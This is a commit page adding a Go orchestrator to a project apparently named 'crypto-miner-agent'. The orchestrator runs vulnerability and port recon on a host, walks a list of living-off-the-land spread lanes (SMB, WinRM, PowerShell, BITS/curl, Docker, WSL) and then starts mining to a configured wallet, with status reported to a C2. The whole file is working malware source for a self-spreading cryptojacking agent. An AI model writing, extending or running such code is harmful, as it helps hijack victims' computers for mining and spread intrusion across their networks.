Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
462
agent/miner/triple_onion.go
Normal file
462
agent/miner/triple_onion.go
Normal file
@@ -0,0 +1,462 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// OnionPhase identifies one layer of the recon → deploy → mining triple onion.
|
||||
type OnionPhase string
|
||||
|
||||
const (
|
||||
OnionPhaseRecon OnionPhase = "recon"
|
||||
OnionPhaseDeploy OnionPhase = "deploy"
|
||||
OnionPhaseMining OnionPhase = "mining"
|
||||
)
|
||||
|
||||
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
|
||||
type TripleOnionPolicy struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||||
}
|
||||
|
||||
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
|
||||
func DefaultTripleOnionPolicy() TripleOnionPolicy {
|
||||
return TripleOnionPolicy{
|
||||
PatchFirst: true,
|
||||
HighRiskThreshold: 50,
|
||||
ReconTiers: append([]string(nil), DefaultReconTiers...),
|
||||
DeployLanes: append([]string(nil), DefaultDeployLanes...),
|
||||
}
|
||||
}
|
||||
|
||||
// DefaultReconTiers is the vuln + service probe chain run before deploy.
|
||||
var DefaultReconTiers = []string{
|
||||
"kev_scan",
|
||||
"vuln_recon",
|
||||
"service_probe",
|
||||
"listen_ports",
|
||||
}
|
||||
|
||||
// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
|
||||
var DefaultDeployLanes = []string{
|
||||
"discover_and_join",
|
||||
"docker",
|
||||
"wsl",
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"smb",
|
||||
"winrm",
|
||||
}
|
||||
|
||||
// ReconSnapshot aggregates recon probe output used by policy gates.
|
||||
type ReconSnapshot struct {
|
||||
RiskScore int `json:"risk_score"`
|
||||
CriticalExposed int `json:"critical_exposed"`
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
LikelyCount int `json:"likely_count"`
|
||||
ServiceCount int `json:"service_count"`
|
||||
OpenPortCount int `json:"open_port_count"`
|
||||
Details map[string]interface{} `json:"details,omitempty"`
|
||||
}
|
||||
|
||||
// GateDecision records which downstream chains policy gates block.
|
||||
type GateDecision struct {
|
||||
SkipDeploy bool `json:"skip_deploy"`
|
||||
SkipMining bool `json:"skip_mining"`
|
||||
PatchFirst bool `json:"patch_first"`
|
||||
ForceIsolated bool `json:"force_isolated"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// ReconTierResult is one recon probe outcome.
|
||||
type ReconTierResult struct {
|
||||
OK bool
|
||||
Error string
|
||||
Snapshot ReconSnapshot
|
||||
}
|
||||
|
||||
// TripleOnionHooks wires agent-specific recon/deploy/mining without importing client.
|
||||
type TripleOnionHooks struct {
|
||||
RunReconTier func(ctx context.Context, tier string) ReconTierResult
|
||||
RunDeployLane func(ctx context.Context, lane string) (bool, string)
|
||||
RunMining func(ctx context.Context)
|
||||
ReportEvent func(report TripleOnionReport, eventType string)
|
||||
}
|
||||
|
||||
// TripleOnionReport is the live triple-onion snapshot sent to C2/UI.
|
||||
type TripleOnionReport struct {
|
||||
ActivePhase OnionPhase `json:"onion_phase,omitempty"`
|
||||
Gate GateDecision `json:"gate,omitempty"`
|
||||
Recon ReconSnapshot `json:"recon,omitempty"`
|
||||
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}
|
||||
|
||||
// TripleOnionOrchestrator runs recon → deploy → mining with policy gates.
|
||||
type TripleOnionOrchestrator struct {
|
||||
mu sync.RWMutex
|
||||
cfg config.RuntimeConfig
|
||||
policy TripleOnionPolicy
|
||||
hooks TripleOnionHooks
|
||||
recon ReconSnapshot
|
||||
gate GateDecision
|
||||
attempts []TierAttempt
|
||||
wallet string
|
||||
done bool
|
||||
}
|
||||
|
||||
// NewTripleOnionOrchestrator builds an orchestrator from runtime config + server policy.
|
||||
func NewTripleOnionOrchestrator(cfg config.RuntimeConfig, policy TripleOnionPolicy, hooks TripleOnionHooks) *TripleOnionOrchestrator {
|
||||
policy = NormalizeTripleOnionPolicy(policy)
|
||||
policy = ApplyEnvTripleOnionOverrides(policy)
|
||||
return &TripleOnionOrchestrator{
|
||||
cfg: cfg,
|
||||
policy: policy,
|
||||
hooks: hooks,
|
||||
wallet: strings.TrimSpace(cfg.Wallet),
|
||||
}
|
||||
}
|
||||
|
||||
// NormalizeTripleOnionPolicy fills defaults for empty policy fields.
|
||||
func NormalizeTripleOnionPolicy(p TripleOnionPolicy) TripleOnionPolicy {
|
||||
def := DefaultTripleOnionPolicy()
|
||||
if len(p.ReconTiers) == 0 {
|
||||
p.ReconTiers = def.ReconTiers
|
||||
}
|
||||
if len(p.DeployLanes) == 0 {
|
||||
p.DeployLanes = def.DeployLanes
|
||||
}
|
||||
if p.HighRiskThreshold <= 0 {
|
||||
p.HighRiskThreshold = def.HighRiskThreshold
|
||||
}
|
||||
// PatchFirst defaults true when unset — only explicit false in JSON disables.
|
||||
return p
|
||||
}
|
||||
|
||||
// ApplyEnvTripleOnionOverrides applies operator contingencies from environment.
|
||||
func ApplyEnvTripleOnionOverrides(p TripleOnionPolicy) TripleOnionPolicy {
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_PATCH_FIRST")); v != "" {
|
||||
p.PatchFirst = v == "1" || strings.EqualFold(v, "true")
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SKIP_MINING")); v == "1" || strings.EqualFold(v, "true") {
|
||||
p.SkipMiningOnHighRisk = true
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINE_ISOLATED")); v == "1" || strings.EqualFold(v, "true") {
|
||||
p.MineIsolatedTier = true
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_HIGH_RISK_THRESHOLD")); v != "" {
|
||||
if n, err := parseEnvInt(v); err == nil && n > 0 {
|
||||
p.HighRiskThreshold = n
|
||||
}
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func parseEnvInt(s string) (int, error) {
|
||||
n := 0
|
||||
for _, c := range s {
|
||||
if c < '0' || c > '9' {
|
||||
return 0, os.ErrInvalid
|
||||
}
|
||||
n = n*10 + int(c-'0')
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// EvaluateTripleOnionGates decides deploy/mining eligibility from recon + policy.
|
||||
func EvaluateTripleOnionGates(policy TripleOnionPolicy, recon ReconSnapshot) GateDecision {
|
||||
policy = NormalizeTripleOnionPolicy(policy)
|
||||
d := GateDecision{ForceIsolated: policy.MineIsolatedTier}
|
||||
|
||||
if policy.PatchFirst && recon.CriticalExposed > 0 {
|
||||
d.PatchFirst = true
|
||||
d.SkipDeploy = true
|
||||
d.SkipMining = true
|
||||
d.Reason = "patch_first: critical CVE exposed — defer deploy and mining"
|
||||
}
|
||||
|
||||
if policy.SkipMiningOnHighRisk && recon.RiskScore >= policy.HighRiskThreshold {
|
||||
d.SkipMining = true
|
||||
if d.Reason == "" {
|
||||
d.Reason = "skip_mining_on_high_risk: risk score exceeds threshold"
|
||||
}
|
||||
}
|
||||
|
||||
return d
|
||||
}
|
||||
|
||||
// ApplyIsolatedMiningPolicy prefers container/WSL tiers before host in-process paths.
|
||||
func ApplyIsolatedMiningPolicy(base MiningTierPolicy) MiningTierPolicy {
|
||||
skip := make(map[LOTLTier]bool, len(base.SkipTiers)+4)
|
||||
for _, t := range base.SkipTiers {
|
||||
skip[t] = true
|
||||
}
|
||||
skip[TierExeSubprocess] = true
|
||||
skip[TierCPUInprocess] = true
|
||||
skip[TierPSInMemory] = true
|
||||
skip[TierDotnet] = true
|
||||
|
||||
order := []LOTLTier{TierDockerLoad, TierContainer, TierWSL}
|
||||
seen := make(map[LOTLTier]bool, len(order))
|
||||
for _, t := range order {
|
||||
seen[t] = true
|
||||
}
|
||||
baseOrder := base.TierOrder
|
||||
if len(baseOrder) == 0 {
|
||||
baseOrder = DefaultTierOrder
|
||||
}
|
||||
for _, t := range baseOrder {
|
||||
if seen[t] || skip[t] {
|
||||
continue
|
||||
}
|
||||
order = append(order, t)
|
||||
}
|
||||
|
||||
skipList := make([]LOTLTier, 0, len(skip))
|
||||
for t := range skip {
|
||||
skipList = append(skipList, t)
|
||||
}
|
||||
return MiningTierPolicy{
|
||||
TierOrder: order,
|
||||
SkipTiers: skipList,
|
||||
ForceTier: base.ForceTier,
|
||||
}
|
||||
}
|
||||
|
||||
// Run executes the triple onion: recon → gated deploy → gated mining.
|
||||
func (o *TripleOnionOrchestrator) Run(ctx context.Context) TripleOnionReport {
|
||||
o.mu.Lock()
|
||||
o.done = false
|
||||
o.mu.Unlock()
|
||||
|
||||
o.runReconChain(ctx)
|
||||
o.mu.Lock()
|
||||
o.gate = EvaluateTripleOnionGates(o.policy, o.recon)
|
||||
gate := o.gate
|
||||
o.mu.Unlock()
|
||||
|
||||
if !gate.SkipDeploy {
|
||||
o.runDeployChain(ctx)
|
||||
} else {
|
||||
o.recordPhaseSkip(OnionPhaseDeploy, gate.Reason)
|
||||
}
|
||||
|
||||
if !gate.SkipMining {
|
||||
o.mu.Lock()
|
||||
o.attempts = append(o.attempts, TierAttempt{
|
||||
Phase: string(OnionPhaseMining),
|
||||
Tier: "mining_chain",
|
||||
OK: true,
|
||||
Wallet: o.wallet,
|
||||
Details: map[string]interface{}{
|
||||
"force_isolated": gate.ForceIsolated,
|
||||
},
|
||||
})
|
||||
report := o.buildReport(OnionPhaseMining)
|
||||
reporter := o.hooks.ReportEvent
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
reporter(report, "onion_report")
|
||||
}
|
||||
if o.hooks.RunMining != nil {
|
||||
o.hooks.RunMining(ctx)
|
||||
}
|
||||
} else {
|
||||
o.recordPhaseSkip(OnionPhaseMining, gate.Reason)
|
||||
}
|
||||
|
||||
o.mu.Lock()
|
||||
o.done = true
|
||||
report := o.buildReport("")
|
||||
o.mu.Unlock()
|
||||
return report
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) runReconChain(ctx context.Context) {
|
||||
o.mu.RLock()
|
||||
tiers := o.policy.ReconTiers
|
||||
hooks := o.hooks
|
||||
o.mu.RUnlock()
|
||||
|
||||
for _, tier := range tiers {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
if hooks.RunReconTier == nil {
|
||||
o.recordAttempt(OnionPhaseRecon, tier, false, "recon hook unavailable", 0, nil)
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
result := hooks.RunReconTier(ctx, tier)
|
||||
duration := time.Since(start)
|
||||
o.mergeRecon(result.Snapshot)
|
||||
errMsg := result.Error
|
||||
if !result.OK && errMsg == "" {
|
||||
errMsg = "recon tier failed"
|
||||
}
|
||||
o.recordAttempt(OnionPhaseRecon, tier, result.OK, errMsg, duration, nil)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) runDeployChain(ctx context.Context) {
|
||||
o.mu.RLock()
|
||||
lanes := o.policy.DeployLanes
|
||||
hooks := o.hooks
|
||||
o.mu.RUnlock()
|
||||
|
||||
for _, lane := range lanes {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
if hooks.RunDeployLane == nil {
|
||||
o.recordAttempt(OnionPhaseDeploy, lane, false, "deploy hook unavailable", 0, nil)
|
||||
continue
|
||||
}
|
||||
start := time.Now()
|
||||
ok, reason := hooks.RunDeployLane(ctx, lane)
|
||||
duration := time.Since(start)
|
||||
details := map[string]interface{}{"lane": lane}
|
||||
if reason != "" {
|
||||
details["reason"] = reason
|
||||
}
|
||||
o.recordAttempt(OnionPhaseDeploy, lane, ok, reason, duration, details)
|
||||
if ok {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) mergeRecon(s ReconSnapshot) {
|
||||
o.mu.Lock()
|
||||
defer o.mu.Unlock()
|
||||
if s.RiskScore > o.recon.RiskScore {
|
||||
o.recon.RiskScore = s.RiskScore
|
||||
}
|
||||
if s.CriticalExposed > o.recon.CriticalExposed {
|
||||
o.recon.CriticalExposed = s.CriticalExposed
|
||||
}
|
||||
if s.ExposedCount > o.recon.ExposedCount {
|
||||
o.recon.ExposedCount = s.ExposedCount
|
||||
}
|
||||
if s.LikelyCount > o.recon.LikelyCount {
|
||||
o.recon.LikelyCount = s.LikelyCount
|
||||
}
|
||||
if s.ServiceCount > o.recon.ServiceCount {
|
||||
o.recon.ServiceCount = s.ServiceCount
|
||||
}
|
||||
if s.OpenPortCount > o.recon.OpenPortCount {
|
||||
o.recon.OpenPortCount = s.OpenPortCount
|
||||
}
|
||||
if len(s.Details) > 0 {
|
||||
if o.recon.Details == nil {
|
||||
o.recon.Details = make(map[string]interface{}, len(s.Details))
|
||||
}
|
||||
for k, v := range s.Details {
|
||||
o.recon.Details[k] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) recordAttempt(phase OnionPhase, tier string, ok bool, errMsg string, duration time.Duration, details map[string]interface{}) {
|
||||
o.mu.Lock()
|
||||
attempt := TierAttempt{
|
||||
Phase: string(phase),
|
||||
Tier: LOTLTier(tier),
|
||||
OK: ok,
|
||||
DurationMs: duration.Milliseconds(),
|
||||
Details: details,
|
||||
}
|
||||
if phase == OnionPhaseMining {
|
||||
attempt.Wallet = o.wallet
|
||||
}
|
||||
if !ok && errMsg != "" {
|
||||
attempt.Error = errMsg
|
||||
}
|
||||
o.attempts = append(o.attempts, attempt)
|
||||
report := o.buildReport(phase)
|
||||
reporter := o.hooks.ReportEvent
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
event := "onion_report"
|
||||
if !ok {
|
||||
event = "onion_fallback"
|
||||
}
|
||||
reporter(report, event)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) recordPhaseSkip(phase OnionPhase, reason string) {
|
||||
o.recordAttempt(phase, "policy_gate", false, reason, 0, map[string]interface{}{"gated": true})
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) buildReport(phase OnionPhase) TripleOnionReport {
|
||||
attempts := make([]TierAttempt, len(o.attempts))
|
||||
copy(attempts, o.attempts)
|
||||
return TripleOnionReport{
|
||||
ActivePhase: phase,
|
||||
Gate: o.gate,
|
||||
Recon: o.recon,
|
||||
Attempts: attempts,
|
||||
Wallet: o.wallet,
|
||||
}
|
||||
}
|
||||
|
||||
// Report returns the current triple-onion snapshot.
|
||||
func (o *TripleOnionOrchestrator) Report() TripleOnionReport {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.buildReport("")
|
||||
}
|
||||
|
||||
// Attempts returns all recorded tier attempts across phases.
|
||||
func (o *TripleOnionOrchestrator) Attempts() []TierAttempt {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
out := make([]TierAttempt, len(o.attempts))
|
||||
copy(out, o.attempts)
|
||||
return out
|
||||
}
|
||||
|
||||
// GateDecisionSnapshot returns the last evaluated gate decision.
|
||||
func (o *TripleOnionOrchestrator) GateDecisionSnapshot() GateDecision {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.gate
|
||||
}
|
||||
|
||||
// Done reports whether Run has completed.
|
||||
func (o *TripleOnionOrchestrator) Done() bool {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.done
|
||||
}
|
||||
|
||||
// Policy returns the effective triple-onion policy.
|
||||
func (o *TripleOnionOrchestrator) Policy() TripleOnionPolicy {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.policy
|
||||
}
|
||||
|
||||
// UpdateConfig refreshes wallet/runtime config without redeploy.
|
||||
func (o *TripleOnionOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
|
||||
o.mu.Lock()
|
||||
o.cfg = cfg
|
||||
o.wallet = strings.TrimSpace(cfg.Wallet)
|
||||
o.mu.Unlock()
|
||||
}
|
||||
Reference in New Issue
Block a user